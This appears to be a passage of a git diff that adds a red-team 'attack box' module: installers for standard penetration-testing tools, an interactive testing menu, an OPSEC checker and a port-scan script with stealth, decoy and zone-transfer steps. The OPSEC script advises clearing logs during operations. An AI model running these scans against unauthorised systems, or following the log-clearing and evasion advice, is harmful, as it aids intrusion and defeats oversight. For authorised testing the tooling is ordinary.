"Repository $name already exists, updating..." + cd "$name" + if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then + SUCCESS=$((SUCCESS + 1)) + echo "โœ“ $name updated successfully" + else + FAILED=$((FAILED + 1)) + echo "โœ— $name update failed" + fi + cd .. + else + if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then + if [ -d "$name" ]; then + SUCCESS=$((SUCCESS + 1)) + echo "โœ“ $name cloned successfully" + echo "Size: $(du -sh "$name" | cut -f1)" + else + FAILED=$((FAILED + 1)) + echo "โœ— $name directory not found after clone" + fi + else + FAILED=$((FAILED + 1)) + echo "โœ— $name clone failed or timed out" + fi + fi + + echo "Completed: $(date '+%H:%M:%S')" + echo "Status: $SUCCESS successful, $FAILED failed" + echo "Remaining: $(( TOTAL - CURRENT )) repositories" + echo "================================================================" +done + +echo "" +echo "GIT REPOSITORIES CLONING SUMMARY:" +echo "=================================" +echo "Total attempted: $TOTAL" +echo "Successful: $SUCCESS" +echo "Failed: $FAILED" +echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" +echo "" +echo "Cloned repositories:" +ls -la "$OPERATOR_DIR/tools/git/" | head -20 + +exit 0 diff --git a/modules/attack-box/files/install_go_tools.sh b/modules/attack-box/files/install_go_tools.sh new file mode 100755 index 0000000..b6de190 --- /dev/null +++ b/modules/attack-box/files/install_go_tools.sh @@ -0,0 +1,104 @@ +#!/bin/bash +# Attack Box - Go Tools Installation Script +# Installs security tools via go install with enhanced feedback + +# Get OPERATOR_DIR from environment or use default +OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" + +export GOPATH="$OPERATOR_DIR/tools/go" +export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH" +mkdir -p "$GOPATH" + +echo "================================================================" +echo "GO TOOLS INSTALLATION STARTED" +echo "================================================================" +echo "Installing Go tools to $GOPATH/bin..." +echo "Each tool has a 5-minute timeout" +echo "================================================================" + +GO_TOOLS=( + "github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest" + "github.com/projectdiscovery/httpx/cmd/httpx@latest" + "github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest" + "github.com/projectdiscovery/naabu/v2/cmd/naabu@latest" + "github.com/projectdiscovery/dnsx/cmd/dnsx@latest" + "github.com/projectdiscovery/katana/cmd/katana@latest" + "github.com/tomnomnom/waybackurls@latest" + "github.com/tomnomnom/assetfinder@latest" + "github.com/tomnomnom/httprobe@latest" + "github.com/tomnomnom/gf@latest" + "github.com/lc/gau/v2/cmd/gau@latest" + "github.com/hakluke/hakrawler@latest" + "github.com/ropnop/kerbrute@latest" +) + +TOOL_NAMES=( + "subfinder" + "httpx" + "nuclei" + "naabu" + "dnsx" + "katana" + "waybackurls" + "assetfinder" + "httprobe" + "gf" + "gau" + "hakrawler" + "kerbrute" +) + +TOTAL=${#GO_TOOLS[@]} +CURRENT=0 +FAILED=0 +SUCCESS=0 + +for i in "${!GO_TOOLS[@]}"; do + CURRENT=$((CURRENT + 1)) + tool="${GO_TOOLS[$i]}" + name="${TOOL_NAMES[$i]}" + + echo "" + echo "[$CURRENT/$TOTAL] Installing $name..." + echo "Repository: $tool" + echo "Progress: $(( CURRENT * 100 / TOTAL ))%" + echo "Started: $(date '+%H:%M:%S')" + echo "Working directory: $GOPATH" + + if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then + if [ -f "$GOPATH/bin/$name" ]; then + SUCCESS=$((SUCCESS + 1)) + echo "โœ“ $name installed successfully at $GOPATH/bin/$name" + ls -la "$GOPATH/bin/$name" + else + FAILED=$((FAILED + 1)) + echo "โœ— $name binary not found after installation" + fi + else + FAILED=$((FAILED + 1)) + echo "โœ— $name installation failed or timed out" + fi + + echo "Completed: $(date '+%H:%M:%S')" + echo "Status: $SUCCESS successful, $FAILED failed" + echo "Remaining: $(( TOTAL - CURRENT )) tools" + echo "================================================================" +done + +echo "" +echo "GO TOOLS INSTALLATION SUMMARY:" +echo "==============================" +echo "Total attempted: $TOTAL" +echo "Successful: $SUCCESS" +echo "Failed: $FAILED" +echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" +echo "" +echo "Installed Go tools:" +ls -la "$GOPATH/bin/" || echo "No Go tools installed" +echo "" +echo "Go environment:" +echo "GOPATH: $GOPATH" +echo "Go version: $(go version 2>/dev/null || echo 'Go not found')" +echo "Go executable: $(which go || echo 'Go not in PATH')" + +exit 0 diff --git a/modules/attack-box/files/install_pipx_tools.sh b/modules/attack-box/files/install_pipx_tools.sh new file mode 100755 index 0000000..e2eaa60 --- /dev/null +++ b/modules/attack-box/files/install_pipx_tools.sh @@ -0,0 +1,84 @@ +#!/bin/bash +# Attack Box - Python Tools Installation Script +# Installs security tools via pipx with enhanced feedback + +export PATH="/root/.local/bin:$PATH" + +echo "================================================================" +echo "PYTHON TOOLS INSTALLATION STARTED" +echo "================================================================" +echo "Total tools to install: 29" +echo "Each tool has a 5-minute timeout" +echo "================================================================" + +TOOLS=( + "impacket" + "bloodhound" + "crackmapexec" + "netexec" + "droopescan" + "wpscan" + "arjun" + "subjack" + "sublist3r" + "theharvester" + "feroxbuster" + "dirsearch" + "sqlmap" + "wafw00f" + "dnsrecon" + "dnsgen" + "massdns" + "altdns" + "paramspider" + "linkfinder" + "xsstrike" + "scapy" + "pwntools" + "volatility3" + "ldapdomaindump" + "ldap3" + "responder" + "mitm6" + "enum4linux-ng" + "smbmap" +) + +TOTAL=${#TOOLS[@]} +CURRENT=0 +FAILED=0 +SUCCESS=0 + +for tool in "${TOOLS[@]}"; do + CURRENT=$((CURRENT + 1)) + echo "" + echo "[$CURRENT/$TOTAL] Installing $tool..." + echo "Progress: $(( CURRENT * 100 / TOTAL ))%" + echo "Started: $(date '+%H:%M:%S')" + + if timeout 300 pipx install --verbose "$tool" 2>&1; then + SUCCESS=$((SUCCESS + 1)) + echo "โœ“ $tool installed successfully" + else + FAILED=$((FAILED + 1)) + echo "โœ— $tool installation failed or timed out" + fi + + echo "Completed: $(date '+%H:%M:%S')" + echo "Status: $SUCCESS successful, $FAILED failed" + echo "Remaining: $(( TOTAL - CURRENT )) tools" + echo "================================================================" +done + +echo "" +echo "PYTHON TOOLS INSTALLATION SUMMARY:" +echo "==================================" +echo "Total attempted: $TOTAL" +echo "Successful: $SUCCESS" +echo "Failed: $FAILED" +echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" +echo "" +echo "Installed pipx tools:" +pipx list + +exit 0 diff --git a/modules/attack-box/files/manual_testing_menu.sh b/modules/attack-box/files/manual_testing_menu.sh new file mode 100755 index 0000000..f13b1ff --- /dev/null +++ b/modules/attack-box/files/manual_testing_menu.sh @@ -0,0 +1,392 @@ +#!/bin/bash +# Manual Testing Menu for Attack Box +# Interactive interface for manual penetration testing tasks + +set -e + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +PURPLE='\033[0;35m' +CYAN='\033[0;36m' +NC='\033[0m' # No Color + +# ASCII Banner +show_banner() { + echo -e "${CYAN}" + cat << "EOF" + โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— + โ•‘ ATTACK BOX MENU โ•‘ + โ•‘ Manual Testing Interface โ•‘ + โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• +EOF + echo -e "${NC}" +} + +# Main menu +show_main_menu() { + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + echo -e "${BLUE}1.${NC} Target Reconnaissance" + echo -e "${BLUE}2.${NC} Network Scanning" + echo -e "${BLUE}3.${NC} Web Application Testing" + echo -e "${BLUE}4.${NC} Vulnerability Assessment" + echo -e "${BLUE}5.${NC} Exploitation Framework" + echo -e "${BLUE}6.${NC} Post-Exploitation" + echo -e "${BLUE}7.${NC} Password Attacks" + echo -e "${BLUE}8.${NC} Wireless Testing" + echo -e "${BLUE}9.${NC} Social Engineering" + echo -e "${BLUE}10.${NC} OSINT Tools" + echo -e "${BLUE}11.${NC} Custom Scripts" + echo -e "${BLUE}12.${NC} Tool Status & Updates" + echo -e "${BLUE}13.${NC} Generate Reports" + echo -e "${BLUE}0.${NC} Exit" + echo + echo -ne "${YELLOW}Select an option [0-13]: ${NC}" +} + +# Reconnaissance menu +recon_menu() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Reconnaissance Tools ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)" + echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)" + echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)" + echo -e "${BLUE}4.${NC} WHOIS Lookup" + echo -e "${BLUE}5.${NC} Shodan Search" + echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)" + echo -e "${BLUE}7.${NC} Certificate Transparency" + echo -e "${BLUE}8.${NC} Automated Recon Script" + echo -e "${BLUE}0.${NC} Back to Main Menu" + echo + echo -ne "${YELLOW}Select an option [0-8]: ${NC}" + + read -r choice + case $choice in + 1) domain_enum ;; + 2) subdomain_discovery ;; + 3) dns_enum ;; + 4) whois_lookup ;; + 5) shodan_search ;; + 6) google_dorking ;; + 7) cert_transparency ;; + 8) automated_recon ;; + 0) return ;; + *) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;; + esac +} + +# Network scanning menu +network_menu() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Network Scanning Tools ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + echo -e "${BLUE}1.${NC} Nmap Host Discovery" + echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)" + echo -e "${BLUE}3.${NC} Nmap Full Port Scan" + echo -e "${BLUE}4.${NC} Nmap Service Detection" + echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts" + echo -e "${BLUE}6.${NC} Masscan Fast Scan" + echo -e "${BLUE}7.${NC} Automated Port Scan Script" + echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)" + echo -e "${BLUE}0.${NC} Back to Main Menu" + echo + echo -ne "${YELLOW}Select an option [0-8]: ${NC}" + + read -r choice + case $choice in + 1) nmap_discovery ;; + 2) nmap_port_scan ;; + 3) nmap_full_scan ;; + 4) nmap_service_detection ;; + 5) nmap_vuln_scripts ;; + 6) masscan_scan ;; + 7) automated_port_scan ;; + 8) network_discovery ;; + 0) return ;; + *) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;; + esac +} + +# Web application testing menu +web_menu() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Web Application Testing Tools ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)" + echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)" + echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)" + echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)" + echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)" + echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)" + echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)" + echo -e "${BLUE}8.${NC} Automated Web Enum Script" + echo -e "${BLUE}9.${NC} Launch Burp Suite" + echo -e "${BLUE}0.${NC} Back to Main Menu" + echo + echo -ne "${YELLOW}Select an option [0-9]: ${NC}" + + read -r choice + case $choice in + 1) directory_enum ;; + 2) tech_detection ;; + 3) web_vuln_scan ;; + 4) web_crawler ;; + 5) param_discovery ;; + 6) sql_injection ;; + 7) xss_testing ;; + 8) automated_web_enum ;; + 9) launch_burp ;; + 0) return ;; + *) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;; + esac +} + +# Vulnerability assessment menu +vuln_menu() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Vulnerability Assessment Tools ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + echo -e "${BLUE}1.${NC} Nuclei Scanner" + echo -e "${BLUE}2.${NC} OpenVAS Scan" + echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)" + echo -e "${BLUE}4.${NC} CVE Search" + echo -e "${BLUE}5.${NC} Vulnerability Database Lookup" + echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts" + echo -e "${BLUE}0.${NC} Back to Main Menu" + echo + echo -ne "${YELLOW}Select an option [0-6]: ${NC}" + + read -r choice + case $choice in + 1) nuclei_scan ;; + 2) openvas_scan ;; + 3) searchsploit_search ;; + 4) cve_search ;; + 5) vuln_db_lookup ;; + 6) custom_vuln_scripts ;; + 0) return ;; + *) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;; + esac +} + +# Functions for each tool category +domain_enum() { + echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}" + echo -ne "Enter target domain: " + read -r domain + echo -e "${GREEN}[+] Running theHarvester against $domain${NC}" + theHarvester -d "$domain" -b all -l 500 + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + recon_menu +} + +subdomain_discovery() { + echo -e "${YELLOW}[*] Subdomain Discovery${NC}" + echo -ne "Enter target domain: " + read -r domain + echo -e "${GREEN}[+] Running Subfinder...${NC}" + subfinder -d "$domain" -o "subdomains_$domain.txt" + echo -e "${GREEN}[+] Running Amass...${NC}" + amass enum -d "$domain" -o "amass_$domain.txt" + echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}" + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + recon_menu +} + +nmap_port_scan() { + echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}" + echo -ne "Enter target IP/range: " + read -r target + echo -e "${GREEN}[+] Scanning $target...${NC}" + nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target" + echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}" + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + network_menu +} + +directory_enum() { + echo -e "${YELLOW}[*] Directory/File Enumeration${NC}" + echo -ne "Enter target URL: " + read -r url + echo -e "${GREEN}[+] Running Gobuster against $url${NC}" + gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt" + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + web_menu +} + +automated_recon() { + echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}" + echo -ne "Enter target domain/IP: " + read -r target + echo -e "${GREEN}[+] Executing recon automation script...${NC}" + if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then + /root/operator/tools/scripts/recon_automation.sh "$target" + else + echo -e "${RED}[-] Recon automation script not found!${NC}" + fi + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + recon_menu +} + +automated_port_scan() { + echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}" + echo -ne "Enter target IP/range: " + read -r target + echo -e "${GREEN}[+] Executing port scan automation script...${NC}" + if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then + /root/operator/tools/scripts/port_scan_automation.sh "$target" + else + echo -e "${RED}[-] Port scan automation script not found!${NC}" + fi + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + network_menu +} + +automated_web_enum() { + echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}" + echo -ne "Enter target URL: " + read -r url + echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}" + if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then + /root/operator/tools/scripts/web_enum_automation.sh "$url" + else + echo -e "${RED}[-] Web enumeration automation script not found!${NC}" + fi + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r + web_menu +} + +# Tool status and updates +tool_status() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Tool Status & Updates ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + + # Check key tools + tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb") + + for tool in "${tools[@]}"; do + if command -v "$tool" &> /dev/null; then + echo -e "${GREEN}[โœ“]${NC} $tool - Installed" + else + echo -e "${RED}[โœ—]${NC} $tool - Not Found" + fi + done + + echo + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r +} + +# Generate reports +generate_reports() { + clear + echo -e "${GREEN}========================================${NC}" + echo -e "${GREEN} Generate Reports ${NC}" + echo -e "${GREEN}========================================${NC}" + echo + + WORKSPACE="/root/operator" + DATE=$(date +%Y%m%d_%H%M%S) + REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE" + + mkdir -p "$REPORT_DIR" + + echo -e "${YELLOW}[*] Generating comprehensive report...${NC}" + + # Collect all scan results + find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null + find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null + find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null + + # Create summary report + cat > "$REPORT_DIR/summary_report.md" << EOF +# Manual Testing Report +**Generated:** $(date) +**Operator:** $(whoami) + +## Engagement Summary +This report contains results from manual penetration testing activities. + +## Files Included +$(ls -la "$REPORT_DIR" | grep -v "^total") + +## Key Findings +- Review individual tool outputs for detailed findings +- Cross-reference results across multiple tools +- Validate findings manually before reporting + +## Next Steps +1. Analyze all collected data +2. Prioritize findings by severity +3. Prepare client deliverables +4. Archive results securely +EOF + + echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}" + echo -e "${BLUE}[*] Press Enter to continue...${NC}" + read -r +} + +# Main execution loop +main() { + while true; do + clear + show_banner + show_main_menu + read -r choice + + case $choice in + 1) recon_menu ;; + 2) network_menu ;; + 3) web_menu ;; + 4) vuln_menu ;; + 5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;; + 6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;; + 7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;; + 8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;; + 9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;; + 10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;; + 11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;; + 12) tool_status ;; + 13) generate_reports ;; + 0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;; + *) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;; + esac + done +} + +# Check if running as root +if [[ $EUID -eq 0 ]]; then + echo -e "${YELLOW}[!] Running as root - be careful!${NC}" + sleep 2 +fi + +# Create operator structure if it doesn't exist +mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps} + +# Start the main menu +main diff --git a/modules/attack-box/files/opsec-check.sh b/modules/attack-box/files/opsec-check.sh new file mode 100755 index 0000000..ca48496 --- /dev/null +++ b/modules/attack-box/files/opsec-check.sh @@ -0,0 +1,118 @@ +#!/bin/bash +# OPSEC Status Check Script +# Monitors operational security status for red team operations + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}" +echo "" + +# Check VPN Status +echo -e "${BLUE}[*] VPN Status:${NC}" +if pgrep openvpn > /dev/null 2>&1; then + echo -e "${GREEN} โœ“ OpenVPN is running${NC}" + VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs) + if [ ! -z "$VPN_INTERFACES" ]; then + echo -e "${GREEN} โœ“ VPN interfaces active: $VPN_INTERFACES${NC}" + fi +else + echo -e "${RED} โœ— OpenVPN not detected${NC}" +fi + +# Check Tor Status +echo -e "\n${BLUE}[*] Tor Status:${NC}" +if systemctl is-active tor >/dev/null 2>&1; then + echo -e "${GREEN} โœ“ Tor service is active${NC}" + if netstat -tuln 2>/dev/null | grep -q ":9050"; then + echo -e "${GREEN} โœ“ SOCKS proxy listening on 9050${NC}" + fi +else + echo -e "${YELLOW} - Tor service not active${NC}" +fi + +# Check External IP +echo -e "\n${BLUE}[*] External IP Check:${NC}" +EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null) +if [ ! -z "$EXTERNAL_IP" ]; then + echo -e "${GREEN} โœ“ External IP: $EXTERNAL_IP${NC}" +else + echo -e "${RED} โœ— Could not determine external IP${NC}" +fi + +# Check DNS +echo -e "\n${BLUE}[*] DNS Configuration:${NC}" +DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs) +echo -e "${GREEN} โœ“ DNS servers: $DNS_SERVERS${NC}" + +# Check for DNS leaks +echo -e "\n${BLUE}[*] DNS Leak Test:${NC}" +DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null) +if [ ! -z "$DNS_LEAK" ]; then + if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then + echo -e "${GREEN} โœ“ No DNS leak detected${NC}" + else + echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}" + fi +else + echo -e "${YELLOW} - DNS leak test failed${NC}" +fi + +# Check Active Connections +echo -e "\n${BLUE}[*] Active Network Connections:${NC}" +ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l) +echo -e "${GREEN} โœ“ $ACTIVE_CONS active connections${NC}" + +# Check Suspicious Processes +echo -e "\n${BLUE}[*] Process Security Check:${NC}" +SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l) +if [ $SUSPICIOUS_PROCS -gt 0 ]; then + echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}" +else + echo -e "${GREEN} โœ“ No obvious monitoring processes${NC}" +fi + +# Check SSH Keys +echo -e "\n${BLUE}[*] SSH Key Security:${NC}" +SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l) +echo -e "${GREEN} โœ“ $SSH_KEYS SSH public keys found${NC}" + +# Check System Logs +echo -e "\n${BLUE}[*] Log Security:${NC}" +AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}') +if [ ! -z "$AUTH_LOG_SIZE" ]; then + echo -e "${GREEN} โœ“ Auth log has $AUTH_LOG_SIZE entries${NC}" +fi + +# Check Firewall Status +echo -e "\n${BLUE}[*] Firewall Status:${NC}" +if command -v ufw >/dev/null 2>&1; then + UFW_STATUS=$(ufw status 2>/dev/null | head -1) + echo -e "${GREEN} โœ“ UFW: $UFW_STATUS${NC}" +fi + +if command -v iptables >/dev/null 2>&1; then + IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain") + echo -e "${GREEN} โœ“ iptables: $IPTABLES_RULES chains configured${NC}" +fi + +echo "" +echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}" +echo "" + +# Provide recommendations based on findings +echo -e "${BLUE}[*] Recommendations:${NC}" +if ! pgrep openvpn > /dev/null 2>&1; then + echo -e "${YELLOW} โ€ข Consider using VPN for enhanced anonymity${NC}" +fi + +if ! systemctl is-active tor >/dev/null 2>&1; then + echo -e "${YELLOW} โ€ข Consider enabling Tor for additional anonymity${NC}" +fi + +echo -e "${GREEN} โ€ข Regularly monitor external IP changes${NC}" +echo -e "${GREEN} โ€ข Clear logs periodically during operations${NC}" +echo -e "${GREEN} โ€ข Use proxychains for sensitive network operations${NC}" diff --git a/modules/attack-box/files/port_scan_automation.sh b/modules/attack-box/files/port_scan_automation.sh new file mode 100755 index 0000000..9f4c340 --- /dev/null +++ b/modules/attack-box/files/port_scan_automation.sh @@ -0,0 +1,153 @@ +#!/bin/bash +# Automated Port Scanning Script for Attack Box +# Usage: ./port_scan_automation.sh [quick|full|stealth] + +set -e + +if [ $# -eq 0 ]; then + echo "Usage: $0 [quick|full|stealth]" + echo "Example: $0 192.168.1.1 full" + echo " $0 example.com quick" + exit 1 +fi + +TARGET="$1" +SCAN_TYPE="${2:-quick}" +WORKSPACE="/root/operator/scans/nmap/$TARGET" +DATE=$(date +%Y%m%d_%H%M%S) + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}" +echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}" + +# Create workspace +mkdir -p "$WORKSPACE" +cd "$WORKSPACE" + +# Create log file +LOG_FILE="portscan_$DATE.log" +echo "Port scan started at $(date)" > "$LOG_FILE" + +# Function to log and execute +log_and_run() { + echo -e "${YELLOW}[*] $1${NC}" + echo "[$(date)] $1" >> "$LOG_FILE" + eval "$2" 2>&1 | tee -a "$LOG_FILE" +} + +case $SCAN_TYPE in + "quick") + echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}" + log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE" + log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A" + ;; + + "full") + echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}" + log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE" + log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE" + log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE" + log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'" + ;; + + "stealth") + echo -e "${GREEN}[+] Stealth Port Scan${NC}" + log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE" + log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE" + ;; + + *) + echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}" + exit 1 + ;; +esac + +# Additional enumeration for common services +echo -e "${GREEN}[+] Service-specific enumeration${NC}" + +# Check for common vulnerabilities +log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE" + +# Extract open ports for further enumeration +if [ -f "nmap_*.gnmap" ]; then + OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',') + echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}" + + # Service-specific scans + if echo "$OPEN_PORTS" | grep -q "21"; then + log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET" + fi + + if echo "$OPEN_PORTS" | grep -q "22"; then + log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET" + fi + + if echo "$OPEN_PORTS" | grep -q "53"; then + log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET" + if command -v dig &> /dev/null; then + log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr" + fi + fi + + if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then + log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET" + fi + + if echo "$OPEN_PORTS" | grep -q "139\|445"; then + log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET" + if command -v enum4linux &> /dev/null; then + log_and_run "enum4linux scan" "enum4linux $TARGET" + fi + fi + + if echo "$OPEN_PORTS" | grep -q "1433"; then + log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET" + fi + + if echo "$OPEN_PORTS" | grep -q "3306"; then + log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET" + fi +fi + +# Generate summary +echo -e "${GREEN}[+] Port Scan Complete!${NC}" +echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}" +echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}" + +# Count open ports +if ls nmap_*.gnmap 1> /dev/null 2>&1; then + TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l) + echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}" +fi + +# Generate simple report +cat > "portscan_report.txt" << EOF +Port Scan Report for $TARGET +============================= +Scan Type: $SCAN_TYPE +Date: $(date) +Workspace: $WORKSPACE + +Open Ports: +$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files") + +Summary: +- Scan completed successfully +- Results saved in multiple formats (.nmap, .xml, .gnmap) +- Log file: $LOG_FILE + +Next Steps: +1. Review service versions for known vulnerabilities +2. Run targeted service enumeration +3. Check for default credentials +4. Look for misconfigurations +EOF + +echo -e "${GREEN}[+] Report generated: 